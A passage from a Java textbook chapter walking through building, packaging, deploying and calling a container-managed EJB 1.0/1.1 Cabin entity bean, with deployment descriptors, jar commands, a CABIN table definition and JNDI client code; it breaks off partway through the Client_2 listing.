Declared fields in a bean class can be persistent fields and property fields. These categories are not mutually exclusive. The persistent field declarations describe the fields that will be mapped to the database. A persistent field is often a property (in the JavaBeans sense): any attribute that is available using public set and get methods. Of course, a bean can have any fields that it needs; they need not all be persistent, or properties. Fields that aren't persistent won't be saved in the database. In CabinBean, all the fields are persistent.

The id field is persistent, but it is not a property. In other words, id is mapped to the database but cannot be accessed through the remote interface. The primary key, CabinPK, also contains an integer field called id, just like the CabinBean. This means that the primary key for the CabinBean is its id field because the signatures match.

The name, deckLevel, ship, and bedCount fields are persistent fields. They will be mapped to the database at deployment time. These fields are also properties because they are publicly available through the remote interface.

In the case of the Cabin bean, there was only one create() method, so there is only one corresponding ejbCreate() method and one ejbPostCreate() method, which is shown in both the EJB 1.1 and EJB 1.0 listings. When a client invokes a method on the home interface, it is delegated to a matching ejbCreate() method on the bean instance. The ejbCreate() method initializes the fields; in the case of the CabinBean, it sets the id field to equal the passed integer.

In the case of EJB 1.0, the ejbCreate() method returns void for container-managed persistence; this method returns the bean's primary key in bean-managed persistence. In EJB 1.1, the ejbCreate() method always returns the primary key type; with container-managed persistence, this method returns the null value. It's the container's responsibility to create the primary key. Why the change? Simply put, the change makes it easier for a bean-managed bean to extend a container-managed bean. In EJB 1.0, this is not possible because Java won't allow you to overload methods with different return values. Container-managed and bean-managed persistence was touched on in Chapter 3, "Resource Management and the Primary Services" and is discussed in detail in Chapter 6, "Entity Beans".

Once the ejbCreate() method has executed, the ejbPostCreate() method is called to perform any follow-up operations. The ejbCreate() and ejbPostCreate() methods must have signatures that match the parameters and (optionally) the exceptions of the home interface's create() method. However, ejbCreate() and ejbPostCreate() aren't required to throw the RemoteException or CreateException. The EJB container throws these exceptions automatically at runtime if there is a problem with communications or some other system-level problem.

The findByPrimaryKey() method is not defined in container-managed bean classes. With container-managed beans you do not explicitly declare find methods in the bean class. Instead, find methods are generated at deployment and implemented by the container. With bean-managed beans (beans that explicitly manage their own persistence), find methods must be defined in the bean class. Our Cabin bean is a container-managed bean, so we will not need to define its find method. In Chapter 6, "Entity Beans", when you develop bean-managed entity beans, you will define the find methods in the bean classes you develop.

The business methods in the CabinBean match the signatures of the business methods defined in the remote interface. These include getName(), setName(), getDeckLevel(), setDeckLevel(), getShip(), setShip(), getBedCount(), and setBedCount(). When a client invokes one of these methods on the remote interface, the method is delegated to the matching method on the bean class. Again, the business methods do not throw the RemoteException like the matching methods in the remote interface. In both the ejbCreate() and remote interface methods, it is possible to define application or custom exceptions. If a custom exception is defined, both the interface method and its matching method in the bean class must throw it. We will learn more about custom exceptions in Chapter 6, "Entity Beans".

The entity context methods are responsible for setting and unsetting the EntityContext. The EntityContext is an interface implemented by the EJB container that provides the bean with information about the container, the identity of the client, transactional control, and other environmental information if the bean needs it. Because the Cabin bean is a very simple container-managed bean, this example does not use the EntityContext. Subsequent examples in Chapter 6, "Entity Beans" will make good use of the EntityContext.

The CabinBean class implements javax.ejb.EntityBean, which defines five callback methods: ejbActivate(), ejbPassivate(), ejbLoad(), ejbStore(), and ejbRemove(). The container uses these callback methods to notify the CabinBean of certain events in its life cycle. Although the callback methods are implemented, the implementations are empty. The CabinBean is simple enough that it doesn't need to do any special processing during its life cycle. When we study entity beans in more detail in Chapter 6, "Entity Beans", we will take advantage of these callback methods.

That's enough talk about the CabinBean definition. Now that you are familiar with it, copy it to your IDE, save it to the cabin directory as CabinBean.java, and compile it.

You are now ready to create a deployment descriptor for the Cabin bean. The deployment descriptor performs a function similar to a properties file. It describes which classes make up a bean and how the bean should be managed at runtime. During deployment, the deployment descriptor is read and its properties are displayed for editing. The deployer can then modify and add settings as appropriate for the application's operational environment. Once the deployer is satisfied with the deployment information, he or she uses it to generate the entire supporting infrastructure needed to deploy the bean in the EJB server. This may include adding the bean to the naming system and generating the bean's EJB object and EJB home, persistence infrastructure, transactional support, resolving bean references, and so forth.

Although most EJB server products provide a wizard for creating and editing deployment descriptors, we will create ours directly so that the bean is defined in a vendor-independent manner. This requires some manual labor, but it gives you a much better understanding of how deployment descriptors are created. Once the deployment descriptor is finished, the bean can be placed in a JAR file and deployed on any EJB-compliant server of the appropriate version.

4.2.5. EJB 1.1: The Deployment Descriptor

An XML deployment descriptor for every example in this book has already been created and is available from the download site. If you haven't downloaded the examples, do so now. The examples are packaged in a ZIP file and organized by chapter and bean, so you will need to put the ejb-jar.xml file from the directory chapter4/EJB11/com/titan/cabin in the ZIP file. When you create the JAR file to deploy the Cabin bean, this ejb-jar.xml file must be in the JAR as META-INF/ejb-jar.xml in order for it to be found. If it has any other name or any other location, this deployment descriptor will not be used.

Here's a quick peek at the deployment descriptor for the Cabin bean, so you can get a feel for how an XML deployment descriptor is structured and the type of information it contains:

<?xml version="1.0"?>

<!DOCTYPE ejb-jar PUBLIC "-//Sun Microsystems, Inc.//DTD Enterprise
JavaBeans 1.1//EN" "http://java.sun.com/j2ee/dtds/ejb-jar_1_1.dtd">

<ejb-jar>
 <enterprise-beans>
   <entity>
      <description>
          This Cabin enterprise bean entity represents a cabin on
          a cruise ship.
      </description>
      <ejb-name>CabinBean</ejb-name>
      <home>com.titan.cabin.CabinHome</home>
      <remote>com.titan.cabin.Cabin</remote>
      <ejb-class>com.titan.cabin.CabinBean</ejb-class>
      <persistence-type>Container</persistence-type>
      <prim-key-class>com.titan.cabin.CabinPK</prim-key-class>
      <reentrant>False</reentrant>

      <cmp-field><field-name>id</field-name></cmp-field>
      <cmp-field><field-name>name</field-name></cmp-field>
      <cmp-field><field-name>deckLevel</field-name></cmp-field>
      <cmp-field><field-name>ship</field-name></cmp-field>
      <cmp-field><field-name>bedCount</field-name></cmp-field>
   </entity>
 </enterprise-beans>

 <assembly-descriptor>
   <security-role>
      <description>
          This role represents everyone who is allowed full access
          to the cabin bean.
      </description>
     <role-name>everyone</role-name>
   </security-role>

   <method-permission>
     <role-name>everyone</role-name>
     <method>
         <ejb-name>CabinBean</ejb-name>
         <method-name>*</method-name>
     </method>
   </method-permission>

   <container-transaction>
     <method>
        <ejb-name>CabinBean</ejb-name>
        <method-name>*</method-name>
     </method>
     <trans-attribute>Required</trans-attribute>
   </container-transaction>
 </assembly-descriptor>
</ejb-jar>

The <!DOCTYPE> element describes the purpose of the XML file, its root element, and the location of its DTD. The DTD is used to verify that the document is structured correctly. This element is discussed in detail in Chapter 10, "XML Deployment Descriptors" and is not important to understanding this example.

The rest of the elements are nested one within the other and are delimited by a beginning tag and ending tag. The structure is really not very complicated. If you have done any HTML coding you should already understand the format. An element always starts with <name of tag> tag and ends with </name of tag> tag. Everything in between--even other elements--is part of the enclosing element.

The first major element is the <ejb-jar> element, which is the root of the document. All the other elements must lie within this element. Next is the <enterprise-beans> element. Every bean declared in an XML file must be included in this section. This file only describes the Cabin bean, but we could define several beans in one deployment descriptor.

The <entity> element shows that the beans defined within this tag are entity beans. Similarly, a <session> element describes session beans; since the Cabin bean is an entity bean, we don't need a <session> element. In addition to a description, the <entity> element provides the fully qualified class names of the remote interface, home interface, bean class, and primary key. The <cmp-field> elements list all the container-managed fields in the entity bean class. These are the fields that will be persisted in the database and are managed by the container at runtime. The <entity> element also includes a <reentrant> element that can be set as True or False depending on whether the bean allows reentrant loopbacks or not.

The next section of the XML file, after the <enterprise-bean> element, is enclosed by the <assembly-descriptor> element, which describes the security roles and transactional attributes of the bean. It may seem odd to separate this information from the <enterprise-beans> element, since it clearly applies to the Cabin bean, but in the scheme of things it's perfectly natural. An XML deployment descriptor can describe several beans, which might all rely on the same security roles and transactional attributes. To make it easier to deploy several beans together, all this common information is separated into the <assembly-descriptor> element.

There is another reason (perhaps a more important reason) for separating information about the bean itself from the security roles and transactional attributes. The EJB 1.1 specification clearly defines the responsibilities of different participants in the development and deployment of beans. We don't address these development roles in this book because they are not critical to learning the fundamentals of EJB. For now, it's enough to know that the person who develops the bean and the person who assembles the beans into an application have separate responsibilities and therefore separate parts of the XML deployment descriptor. The bean developer is responsible for everything within the <enterprise-beans> element; the bean assembler is responsible for everything within the <assembly-descriptor>. In our example, we're playing both roles, developing the beans and assembling them. But in real life, you might buy a set of beans developed by a third-party vendor, who would have no idea how you intend to use the beans, what your security requirements are, etc.

The <assembly-descriptor> contains the <security-role> elements and their corresponding <method-permission> elements, which were described in Chapter 3, "Resource Management and the Primary Services" under Chapter 3, "Resource Management and the Primary Services". In this example there is one security role, everyone, which is mapped to all the methods in the Cabin bean using the <method-permission> element. (The * in the <method-name> element means "all methods").

The container-transaction element declares that all the methods of the Cabin bean have a Required transactional attribute. Transactional attributes are explained in more detail in Chapter 8, "Transactions", but for now it means that all the methods must be executed within a transaction. The deployment descriptor ends with the enclosing tab of the <ejb-jar> element.

Copy the Cabin bean's deployment descriptor into the same directory as the class files for the Cabin bean files (Cabin.class, CabinHome.class, CabinBean.class, and CabinPK.class) and save it as ejb-jar.xml. You have now created all the files you need to package your EJB 1.1 Cabin bean. Chapter 4, "Developing Your First Enterprise Beans" shows all the files that should be in the cabin directory.

Figure 4-2. The Cabin bean files (EJB 1.1)

4.2.6. EJB 1.0: The Deployment Descriptor

Here is a Java application that instantiates, populates, and serializes a DeploymentDescriptor for the EJB 1.0 Cabin bean:

package com.titan.cabin;

import javax.ejb.deployment.EntityDescriptor;
import javax.ejb.deployment.ControlDescriptor;
import javax.naming.CompoundName;
import com.titan.cabin.CabinBean;
import java.util.Properties;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class MakeDD {

    public static void main(String [] args) {
        try {
          if (args.length <1){
            System.out.println("must specify target directory");
            return;
          }

        EntityDescriptor cabinDD = new EntityDescriptor();

        cabinDD.setEnterpriseBeanClassName("com.titan.cabin.CabinBean");
        cabinDD.setHomeInterfaceClassName("com.titan.cabin.CabinHome");
        cabinDD.setRemoteInterfaceClassName("com.titan.cabin.Cabin");
        cabinDD.setPrimaryKeyClassName("com.titan.cabin.CabinPK");

        Class beanClass = CabinBean.class;
        Field [] persistentFields = new Field[5];
        persistentFields[0] = beanClass.getDeclaredField("id");
        persistentFields[1] = beanClass.getDeclaredField("name");
        persistentFields[2] = beanClass.getDeclaredField("deckLevel");
        persistentFields[3] = beanClass.getDeclaredField("ship");
        persistentFields[4] = beanClass.getDeclaredField("bedCount");

        cabinDD.setContainerManagedFields(persistentFields);

        cabinDD.setReentrant(false);

        CompoundName jndiName = new CompoundName("CabinHome",
                                                 new Properties());
        cabinDD.setBeanHomeName(jndiName);

        ControlDescriptor cd = new ControlDescriptor();

        cd.setIsolationLevel(ControlDescriptor.TRANSACTION_READ_COMMITTED);
        cd.setTransactionAttribute(ControlDescriptor.TX_REQUIRED);

        cd.setRunAsMode(ControlDescriptor.CLIENT_IDENTITY);

        cd.setMethod(null);
        ControlDescriptor [] cdArray = {cd};
        cabinDD.setControlDescriptors(cdArray);

        String fileSeparator =
            System.getProperties().getProperty("file.separator");
        if (! args[0].endsWith(fileSeparator))
            args[0] += fileSeparator;

        FileOutputStream fos = new FileOutputStream(args[0]+"CabinDD.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(cabinDD);
        oos.flush();
        oos.close();
        fos.close();

        } catch (Throwable t) { t.printStackTrace();}
    }
}

Copy this definition into your IDE, save it in the cabin directory, and compile it. When you run the application, MakeDD, use the path to the cabin directory, where all the other Cabin bean files are stored, as a command-line parameter:

\dev % java com.titan.cabin.MakeDD com/titan/cabin

F:\..\dev>java com.titan.cabin.MakeDD com\titan\cabin

If you run this application, you should end up with a file called CabinDD.ser in the com/titan/cabin directory. This is your serialized DeploymentDescriptor for the Cabin bean. Now that you know that the application works properly, let's look at it in more detail. We begin with the creation of the EntityDescriptor:

EntityDescriptor cabinDD = new EntityDescriptor();

An entity descriptor is a DeploymentDescriptor that has been extended to support entity beans. If we were creating a DeploymentDescriptor for a session bean, we would use the SessionDescriptor subclass. Notice that we are not extending EntityDescriptor to create a special cabin DeploymentDescriptor. We are using the EntityDescriptor class provided by the EJB package javax.ejb.deployment.

The EntityDescriptor describes the classes and interfaces used by the Cabin bean. The next section of code sets the names of the bean class, the home interface, the remote interface, and the primary key. All of these set methods are defined in the EntityDescriptor's superclass, DeploymentDescriptor, except for setPrimaryKeyClassName(); this method is defined in the EntityDescriptor class.

cabinDD.setEnterpriseBeanClassName("com.titan.cabin.CabinBean");
cabinDD.setHomeInterfaceClassName("com.titan.cabin.CabinHome");
cabinDD.setRemoteInterfaceClassName("com.titan.cabin.Cabin");
cabinDD.setPrimaryKeyClassName("com.titan.cabin.CabinPK");

When the bean is deployed, the deployment tools will read these properties so that the tools can locate the bean interfaces and primary key class and generate all the supporting code, such as the EJB object and EJB home.

The next section is a little more complicated. Our Cabin bean is going to be a container-managed entity bean, which means that the container will automatically handle persistence. To handle persistence, the container must know which of the CabinBean's fields it is responsible for. Earlier, it was decided that the id, name, deckLevel, ship, and bedCount fields were all persistent fields in the CabinBean. The following code tells the EntityDescriptor that these fields are container managed by using the Reflection API to pass an array of Field objects to setContainerManagedFields():

Class beanClass = CabinBean.class;
Field [] persistentFields = new Field[5];
persistentFields[0] = beanClass.getDeclaredField("id");
persistentFields[1] = beanClass.getDeclaredField("name");
persistentFields[2] = beanClass.getDeclaredField("deckLevel");
persistentFields[3] = beanClass.getDeclaredField("ship");
persistentFields[4] = beanClass.getDeclaredField("bedCount");

cabinDD.setContainerManagedFields(persistentFields);

Although the code tells the EntityDescriptor which fields are container- managed, it doesn't describe how these fields will map to the database. The actual mapping of the fields to the database depends on the type of database and on the EJB server used. The mapping is vendor- and database-dependent, so we won't worry about it just now. When the bean is actually deployed in some EJB server, the deployer will map the container-managed fields to whatever database is used.

The next line tells the EntityDescriptor that the Cabin bean is nonreentrant. We discussed the problems associated with reentrant beans in Chapter 3, "Resource Management and the Primary Services". Entity beans are not reentrant by default, but it never hurts to make this explicit.

cabinDD.setReentrant(false);

The following code uses the JNDI API to set the lookup name of the bean in the EJB server's directory structure. In Chapter 3, "Resource Management and the Primary Services", we saw that Enterprise JavaBeans requires servers to support the use of JNDI for organizing beans in a directory structure. Later, when we create a client application, the name we assign to the Cabin bean will be used to locate and obtain a remote reference to the bean's EJB home.

CompoundName jndiName = new CompoundName("CabinHome", new Properties());
cabinDD.setBeanHomeName(jndiName);

We have created a directory entry that places the bean under the name CabinHome. Although it makes sense to assign names that reflect the organization of your beans, you can give the EJB home any lookup name you like. We could have used other names assigned to the Cabin bean, like HomeCabin or just cabin.

Next, we create a ControlDescriptor to set the bean's transactional and security attributes:

ControlDescriptor cd = new ControlDescriptor();

cd.setIsolationLevel(ControlDescriptor.TRANSACTION_READ_COMMITTED);
cd.setTransactionAttribute(ControlDescriptor.TX_REQUIRED);

cd.setRunAsMode(ControlDescriptor.CLIENT_IDENTITY);

cd.setMethod(null);
ControlDescriptor [] cdArray = {cd};
cabinDD.setControlDescriptors(cdArray);

After creating the ControlDescriptor, we set its transactional attributes. This includes setting the transactional context and isolation level. Transactions are fairly complicated and are discussed in detail in Chapter 8, "Transactions". Essentially, we are saying that the bean must be executed in a transaction and that the bean is not accessible by any other client while executing a transaction. Next, we set the runAs mode of the bean. The runAs mode determines how the bean's methods will execute at runtime. In this case, the methods will be executed under the identity that invoked the bean. This means that any other beans or resources accessed by the method will be validated based on the client's identity. Then we set the methods that the ControlDescriptor represents and add the ControlDescriptor to the EntityDescriptor. Here we set the method to null, which means that the ControlDescriptor is the default for all methods of the Cabin bean. Any method that doesn't have its own ControlDescriptor uses the default ControlDescriptor for the bean. In this case, we only specify a default descriptor. Once all the properties on the ControlDescriptor have been set, it is added to the EntityDescriptor.

Finally, we serialize the EntityDescriptor with all its Cabin bean properties to a file called CabinDD.ser. This serialized EntityDescriptor should be saved to the same directory that holds all the other files for the Cabin bean, the dev/com/titan/cabin directory.

String fileSeparator = System.getProperties().getProperty("file.separator");
if (! args[0].endsWith(fileSeparator))
    args[0] += fileSeparator;

FileOutputStream fos = new FileOutputStream(args[0]+"CabinDD.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(cabinDD);
oos.flush();
oos.close();
fos.close();

The first part of the serialization section simply determines whether the path ends with a file separator for that operating system. If it doesn't, the code adds one. The second part serializes the deployment descriptor to a file called CabinDD.ser in the directory passed in at the command line.

You have now created everything you need to package your EJB 1.0 Cabin bean for deployment. Figure 4-3 shows all the files that should be in the cabin directory.

Figure 4-3. The Cabin bean files (EJB 1.0)

4.2.7. cabin.jar: The JAR File

The JAR file is a platform-independent file format for compressing, packaging, and delivering several files together. Based on ZIP file format and the ZLIB compression standards, the JAR ( Java archive) packages and tool were originally developed to make downloads of Java applets more efficient. As a packaging mechanism, however, the JAR file format is a very convenient way to "shrink-wrap" components and other software for delivery to third parties. The original JavaBeans component architecture depends on JAR files for packaging, as does Enterprise JavaBeans. The goal in using the JAR file format in EJB is to package all the classes and interfaces associated with a bean, including the deployment descriptor into one file. The process of creating an EJB JAR file is slightly different between EJB 1.1 and EJB 1.0.

4.2.7.1. EJB 1.1: Packaging the Cabin bean

Now that you have put all the necessary files in one directory, creating the JAR file is easy. Position yourself in the dev directory that is just above the com/titan/cabin directory tree, and execute the command:

\dev % jar cf cabin.jar com/titan/cabin/*.class META-INF/ejb-jar.xml

F:\..\dev>jar cf cabin.jar com\titan\cabin\*.class META-INF\ejb-jar.xml

You might have to create the META-INF directory first and copy ejb-jar.xmlinto that directory. The c option tells the jar utility to create a new JAR file that contains the files indicated in subsequent parameters. It also tells the jar utility to stream the resulting JAR file to standard output. The f option tells jar to redirect the standard output to a new file named in the second parameter (cabin.jar) . It's important to get the order of the option letters and the command-line parameters to match. You can learn more about the jar utility and the java.util.zip package in Java™ in a Nutshell by David Flanagan, or Learning Java™ (formerly Exploring Java), by Pat Niemeyer and Jonathan Knudsen (both published by O'Reilly).

The jarutility creates the file cabin.jar in the dev directory. If you're interested in looking at the contents of the JAR file, you can use any standard ZIP application (WinZip, PKZIP, etc.), or you can use the command jar tvf cabin.jar.

4.2.7.2. EJB 1.0: Packaging the Cabin bean

In addition to the bean's classes and deployment descriptor, the JAR file contains amanifest generated by the jar utility. The manifest essentially serves as a README file, describing the contents in a way that's useful for any tools that work with the archive. We need to add an entry into the JAR file to specify which file contains our serialized deployment descriptor. To do this, we add two simple lines to the manifest by creating an ASCII text file named manifest :

Name: com/titan/cabin/CabinDD.ser
Enterprise-Bean: True

That's it! When we run the jar utility, we will tell it to use our manifest information when it build the JAR. The manifest for this bean is now complete. A manifest is always organized as a set of name-value pairs that describe the files in the JAR file. In this case, we need to point to the location of the serialized deployment descriptor and define the JAR as an EJB JAR. The first line points to the serialized EntityDescriptor, CabinDD.ser, for the Cabin bean. Notice that forward slashes ("/") must be used as path separators; this could be confusing if you are used to the Windows environment. The next line of the manifest identifies the JAR as an EJB JAR. Most EJB server deployment tools check for this name-value pair before trying to read the JAR file's contents. Save the manifest in the cabin directory where all the other Cabin bean files are located. It should be saved as the file name manifest with no extension.

Now that you have put all the necessary files in one directory, creating the JAR file is easy. Position yourself in the dev directory that is just above the com/titan/cabin directory tree, and execute the following command:

\dev % jar cmf com/titan/cabin/manifest cabin.jar com/titan/cabin/*.class \
com/titan/cabin/*.ser

F:\..\dev>jar cmf com\titan\cabin\manifest cabin.jar com\titan\cabin\*.class
com\titan\cabin\*.ser

If you want, you may remove the MakeDD.class file from the JAR archive, since it's not a standard EJB class and the EJB deployment tools do not use it. Leaving it there will not impact deployment of the Cabin bean.

4.2.8. Creating a CABIN Table in the Database

One of the primary jobs of a deployment tool is mapping entity beans to databases. In the case of the Cabin bean, we must map its id, name, deckLevel, ship, and bedCount (the bean's container-managed fields) to some data source. Before proceeding with deployment, you need to set up a database and create a CABIN table. You can use the following standard SQL statement to create a CABIN table that will be consistent with the examples provided in this chapter:

create table CABIN
(
  ID int primary key,
  SHIP_ID int,
  BED_COUNT int,
  NAME char(30),
  DECK_LEVEL int
)

This statement creates a CABIN table that has five columns corresponding to the container-managed fields in the CabinBean class. Once the table is created and connectivity to the database is confirmed, you can proceed with the deployment process.

4.2.9. Deploying the Cabin Bean

Deployment is the process of reading the bean's JAR file, changing or adding properties to the deployment descriptor, mapping the bean to the database, defining access control in the security domain, and generating vendor-specific classes needed to support the bean in the EJB environment. Every EJB server product has its own deployment tools, which may provide a graphical user interface, a set of command-line programs, or both. Graphical deployment "wizards" are the easiest deployment tools to work with.

4.2.9.1. EJB 1.1 deployment tools

A deployment tool reads the JAR file and looks for the ejb-jar.xml file. In a graphical deployment wizard, the deployment descriptor elements will be presented in a set of property sheets similar to those used to customize visual components in environments like Visual Basic, PowerBuilder, JBuilder, and Symantec Café. Figure 4-4 shows the deployment wizard used in the J2EE Reference Implementation.

Figure 4-4. J2EE Reference Implementation's deployment wizard

The J2EE Reference Implementation's deployment wizard has fields and panels that match the XML deployment descriptor. You can map security roles to users groups, set the JNDI look up name, map the container-managed fields to the database, etc.

4.2.9.2. EJB 1.0 deployment tools

A deployment tool reads the JAR file and uses the manifest to locate the bean's serialized deployment descriptor. Once the deployment descriptor file has been located, it is deserialized into an object and its properties are read by invoking its get methods. In a graphical deployment wizard, these properties will be presented to the deployer in a set of property sheets, similar to those used to customize visual components in environments like Visual Basic, PowerBuilder, JBuilder, and Symantec Cafe. Figure 4-5 shows the deployment wizard used in BEA's WebLogic EJB server.

Figure 4-5. WebLogic deployment wizard

The WebLogic deployment wizard has fields and panels that match properties and deployment classes specified in the javax.ejb.deployment package. The "CabinBean" tab, for example, contains text fields for each of the interfaces and classes that we described in the Cabin bean's EntityDescriptor, the CabinDD.ser. There is also an "Access control" tab that corresponds to the AccessControlEntry class, and a "Control descriptors" tab that corresponds to the ControlDescriptor class. In addition, there is a "Container-managed fields" tab that shows the container-managed fields we defined when creating the CabinDD.ser. Graphical deployment wizards provided by other EJB products will look different but provide the same kinds of features.

At this point, you can choose to change deployment information, such as the transactional isolation level, to change the Cabin bean's JNDI name, or to deselect one of the container-managed fields. You can also add properties to the deployment descriptor, for example, by setting the AccessControlEntrys for the methods and adding environment properties. The CabinDD.ser that we created should have specified the minimum information that most EJB servers need to deploy the bean without changes. It is likely that all you will need to do is specify the persistence mapping from the container-managed fields to the CABIN table in the relational database.

Different EJB deployment tools will provide varying degrees of support for mapping container-managed fields to a data source. Some provide very robust and sophisticated graphical user interfaces, while others are simpler and less flexible. Fortunately, mapping the CabinBean's container-managed fields to the CABIN table is a fairly straightforward process. Read the documentation for the deployment tool provided by your EJB vendor to determine how to do this mapping. Once you have finished the mapping, you can complete the deployment of the bean and prepare to access it from the EJB server.

4.2.10. Creating a Client Application

Now that the Cabin bean has been deployed in the EJB server, we want to access it from a remote client. When we say remote, we are not necessarily talking about a client application that is located on a different computer, just one that is not part of the EJB server. In this section, we will create a remote client that will connect to the EJB server, locate the EJB home for the Cabin bean, and create and interact with several Cabin beans. The following code shows a Java application that is designed to create a new Cabin bean, set its name, deckLevel, ship, and bedCount properties, and then locate it again using its primary key:

package com.titan.cabin;

import com.titan.cabin.CabinHome;
import com.titan.cabin.Cabin;
import com.titan.cabin.CabinPK;

import javax.naming.InitialContext;
import javax.naming.Context;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.util.Properties;

public class Client_1 {
    public static void main(String [] args) {
        try {
            Context jndiContext = getInitialContext();
            Object ref =
                jndiContext.lookup("CabinHome");
                CabinHome home = (CabinHome)
            // EJB 1.0:Use Java cast instead of narrow( )
                PortableRemoteObject.narrow(ref,CabinHome.class);
            Cabin cabin_1 = home.create(1);
            cabin_1.setName("Master Suite");
            cabin_1.setDeckLevel(1);
            cabin_1.setShip(1);
            cabin_1.setBedCount(3);

            CabinPK pk = new CabinPK();
            pk.id = 1;

            Cabin cabin_2 = home.findByPrimaryKey(pk);
            System.out.println(cabin_2.getName());
            System.out.println(cabin_2.getDeckLevel());
            System.out.println(cabin_2.getShip());
            System.out.println(cabin_2.getBedCount());

        } catch (java.rmi.RemoteException re){re.printStackTrace();}
          catch (javax.naming.NamingException ne){ne.printStackTrace();}
          catch (javax.ejb.CreateException ce){ce.printStackTrace();}
          catch (javax.ejb.FinderException fe){fe.printStackTrace();}
    }

    public static Context getInitialContext()
        throws javax.naming.NamingException {

        Properties p = new Properties();
        // ... Specify the JNDI properties specific to the vendor.
        return new javax.naming.InitialContext(p);
    }
}

To access an enterprise bean, a client starts by using the JNDI package to obtain a directory connection to a bean's container. JNDI is an implementation-independent API for directory and naming systems. Every EJB vendor must provide directory services that are JNDI-compliant. This means that they must provide a JNDI service provider, which is a piece of software analogous to a driver in JDBC. Different service providers connect to different directory services--not unlike JDBC, where different drivers connect to different relational databases. The method getInitialContext() contains logic that uses JNDI to obtain a network connection to the EJB server.

The code used to obtain the JNDI Context will be different depending on which EJB vendor you are using. You will need to research your EJB vendor's requirements for obtaining a JNDI Context appropriate to that product.

The code used to obtain a JNDI Context in Gemstone/J, for example, might look something like the following:

public static Context getInitialContext() throws javax.naming.NamingException {
   Properties p = new Properties();
   p.put(com.gemstone.naming.Defaults.NAME_SERVICE_HOST,"localhost");
   String port = System.getProperty("com.gemstone.naming.NameServicePort",
                                    "10200");
   p.put(com.gemstone.naming.Defaults.NAME_SERVICE_PORT, port);
   p.put(Context.INITIAL_CONTEXT_FACTORY,"com.gemstone.naming.GsCtxFactory");
   return new InitialContext(p);
}

The same method developed for BEA's WebLogic Server would be different:

public static Context getInitialContext()
   throws javax.naming.NamingException {
   Properties p = new Properties();
   p.put(Context.INITIAL_CONTEXT_FACTORY,
         "weblogic.jndi.TengahInitialContextFactory");
   p.put(Context.PROVIDER_URL, "t3://localhost:7001");
   return new javax.naming.InitialContext(p);
}

Once a JNDI connection is established and a context is obtained from the getIntialContext() method, the context can be used to look up the EJB home of the Cabin bean:

4.2.10.1. EJB 1.1: Obtaining a remote reference to the home interface

The previous example uses the PortableRemoteObject.narrow() method as prescribed in EJB 1.1:

Object ref = jndiContext.lookup("CabinHome");
CabinHome home = (CabinHome)
// EJB 1.0: Use Java cast instead of narrow()
    PortableRemoteObject.narrow(ref,CabinHome.class);

The PortableRemoteObject.narrow() method is new to EJB 1.1. It is needed to support the requirements of RMI over IIOP. Because CORBA supports many different languages, casting is not native to CORBA (some languages don't have casting). Therefore, to get a remote reference to CabinHome, we must explicitly narrow the object returned from lookup(). This has the same effect as casting and is explained in more detail in Chapter 5, "The Client View".

The name used to find the Cabin bean's EJB home is set by the deployer using a deployment wizard like the one pictured earlier. The JNDI name is entirely up to the person deploying the bean; it can be the same as the bean name set in the XML deployment descriptor or something completely different.

4.2.10.2. EJB 1.0: Obtaining a remote reference to the home interface

In EJB 1.0, you do not need to use the PortableRemoteObject.narrow() method to cast objects to the correct type. EJB 1.0 allows the use of Java native casting to narrow the type returned by the JNDI API to the home interface type. When you see the PortableRemoteObject being used, replace it with Java native casting as follows:

CabinHome home = (CabinHome)jndiContext.lookup("CabinHome");

To locate the EJB home, we specify the name that we set using the DeploymentDescriptor.setBeanHomeName(Stringname) method in the MakeDD application earlier. If this lookup succeeds, the home variable will contain a remote reference to the Cabin bean's EJB home.

4.2.10.3. Creating a new Cabin bean

Once we have a remote reference to the EJB home, we can use it to create a new Cabin entity:

Cabin cabin_1 = home.create(1);

We create a new Cabin entity using the create(intid) method defined in the home interface of the Cabin bean. When this method is invoked, the EJB home works with the EJB server to create a Cabin bean, adding its data to the database. The EJB server then creates an EJB object to wrap the Cabin bean instance and returns a remote reference to the EJB object to the client. The cabin_1 variable then contains a remote reference to the Cabin bean we just created.

NOTE

In EJB 1.1, we don't need to use the PortableRemoteObject.narrow() method to get the EJB object from the home reference, because it was declared as returning the Cabin type; no casting was required. We don't need to explicitly narrow remote references returned by findByPrimaryKey() for the same reason.

With the remote reference to the EJB object, we can update the name, deckLevel, ship, and bedCount of the Cabin entity:

Cabin cabin_1 = home.create(1);
cabin_1.setName("Master Suite");
cabin_1.setDeckLevel(1);
cabin_1.setShip(1);
cabin_1.setBedCount(3);

Figure 4-6 shows how the relational database table that we created should look after executing this code. It should contain one record.

Figure 4-6. CABIN table with one cabin record

After an entity bean has been created, a client can locate it using the findByPrimaryKey() method in the home interface. First, we create a primary key of the correct type, in this case CabinPK, and set its field id to equal the id of the cabin we want. (So far, we only have one cabin available to us.) When we invoke this method on the home interface, we get back a remote reference to the EJB object. We can now interrogate the remote reference returned by findByPrimaryKey() to get the Cabin entity's name, deckLevel, ship, and bedCount:

CabinPK pk = new CabinPK();
pk.id = 1;

Cabin cabin_2 = home.findByPrimaryKey(pk);
System.out.println(cabin_2.getName());
System.out.println(cabin_2.getDeckLevel());
System.out.println(cabin_2.getShip());
System.out.println(cabin_2.getBedCount());

Copy and save the Client_1 application to any directory, and compile it. If you haven't started your EJB server and deployed the Cabin bean, do so now. When you're finished, you're ready to run the Client_1 in your IDE's debugger so that you can watch each step of the program. Your output should look something like the following:

Master Suite
1
1
3

You just created and used your first entity bean! Of course, the client application doesn't do much. Before going on to create session beans, create another client that adds some test data to the database. Here we'll create Client_2 as a modification of Client_1 that populates the database with a large number of cabins for three different ships:

package com.titan.cabin;

import com.titan.cabin.CabinHome;
import com.titan.cabin.Cabin;
import com.titan.cabin.CabinPK;

import javax.naming.InitialContext;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.ejb.CreateException;
import java.rmi.RemoteException;
import java.util.Properties;

public class Client_2 {

    public static void main(String [] args) {
        try {
            Context jndiContext = getInitialContext();

            Object ref =
                jndiContext.lookup("CabinHome");
            CabinHome home = (CabinHome)
            // EJB 1.0: Use Java native cast
                PortableRemoteObject.narrow(ref,CabinHome.class);
            // Add 9 cabins to deck 1 of ship 1.
            makeCabins(home, 2, 10, 1, 1);
            // Add 10 cabins to deck 2 of ship 1.
            makeCabins(home, 11, 20, 2, 1);
